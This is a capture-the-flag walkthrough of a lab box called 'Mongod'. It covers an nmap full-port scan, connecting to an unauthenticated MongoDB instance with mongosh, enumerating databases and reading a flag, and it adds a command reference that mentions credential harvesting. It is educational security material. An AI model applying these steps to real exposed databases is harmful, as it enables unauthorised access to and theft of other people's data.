⚠️ Legal Disclaimer: This content is for educational purposes only. Always ensure you have proper authorization before testing

Mongod targets MongoDB — the world's most popular NoSQL document database. Like Redis, MongoDB was designed for trusted internal networks and ships with authentication disabled by default in older versions. When exposed without auth, the entire database is readable and writable by anyone who can reach port 27017. This machine teaches you to identify, connect to, and query an unauthenticated MongoDB instance.

Tools: nmap · mongosh  ·  Difficulty: Very Easy  ·  OS: Linux
01 — What You Will Learn
SkillWhy it matters
Detecting MongoDB with NmapPort 27017 sits outside the default scan range — full-port scans are mandatory
Connecting without credentialsNo-auth MongoDB instances are a recurring finding in cloud and startup environments
MongoDB shell navigationListing databases, collections, and documents via mongosh
NoSQL data extractionJSON document stores often hold user records, API keys, and session data
02 — Reconnaissance

MongoDB's default port is 27017 — well outside the top 1000 ports Nmap scans by default. A -p- flag is essential here.

Nmap scan
nmap -sV -sC -p- --min-rate 5000 10.129.x.x
Relevant output
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 27017/tcp open mongodb MongoDB 3.6.8

What you're seeing: SSH on 22 (no credentials yet) and MongoDB 3.6.8 on 27017. MongoDB 3.6.x defaults to binding on all interfaces with no authentication — a configuration that led to the infamous "MongoDB Apocalypse" of 2017, where tens of thousands of databases were wiped and held for ransom.

⚠  In 2017, automated scripts scanned the internet for open MongoDB instances, deleted all data, and left ransom notes. Over 26,000 databases were compromised in a matter of days. All from one misconfiguration: binding to 0.0.0.0 without auth.
03 — Connecting to MongoDB
Install mongosh (MongoDB Shell)
sudo apt install mongodb-mongosh # or use the legacy mongo client: sudo apt install mongodb-clients
Connect without credentials
mongosh mongodb://10.129.x.x:27017
Confirm access
Current Mongosh Log ID: ... Connecting to: mongodb://10.129.x.x:27017/ Using MongoDB: 3.6.8 test>

You're in. No username, no password. The prompt shows the current database is test (the default). Begin enumeration immediately.

04 — Enumerating Databases and Collections
List all databases
test> show dbs admin 0.000GB config 0.000GB local 0.000GB sensitive_information 0.000GB users 0.000GB

What you're seeing: three system databases (admin, config, local) plus two application databases. sensitive_information is an obvious target.

Switch database and list collections
test> use sensitive_information sensitive_information> show collections flag
Query all documents in the flag collection
sensitive_information> db.flag.find().pretty() [ { _id: ObjectId("..."), flag: "1b6e6fb359e7c40241b6d431..." } ]
✓ Submit the flag string to complete the machine.
05 — MongoDB Shell Command Reference
CommandWhat it does
show dbsList all databases on the server
use <db>Switch to a specific database
show collectionsList all collections (tables) in the current database
db.<col>.find()Return all documents in a collection
db.<col>.find().pretty()Return all documents formatted for readability
db.<col>.find({key:"val"})Filter documents by field value
db.<col>.findOne()Return only the first matching document
db.<col>.count()Count documents in a collection
db.getUsers()List database users (useful for credential harvesting)
db.adminCommand({listDatabases:1})Alternative to show dbs with more detail
06 — MongoDB vs Redis: NoSQL Comparison
MongoDBRedis
Default port270176379
Data modelJSON documents in collectionsKey-value pairs (strings, lists, hashes)
Default authNone (pre-4.0)None (pre-7.0)
Typical data foundUser records, app data, logsSessions, cache, pub/sub messages
RCE potentialVia server-side JS (mapReduce in older versions)Via CONFIG SET to write files
Recon commandshow dbs / show collectionsinfo / keys *
07 — Key Takeaways
An unauthenticated MongoDB instance exposed to the network is a direct path to every record in every database on that server — user accounts, passwords, API keys, and application data included.
ConceptReal-world relevance
No default auth (pre-4.0)Any MongoDB version below 4.0 on an exposed host is a critical finding by default
Cloud misconfigs are commonMongoDB Atlas is secure by design — but self-hosted Mongo on EC2/DigitalOcean without firewall rules is regularly found exposed
Collection naming reveals app logicDatabase and collection names (users, tokens, sessions, payments) tell you where the valuable data is immediately
Always scan all ports27017 is port 3 on the "DBs that get you fired" list — it never appears in default Nmap output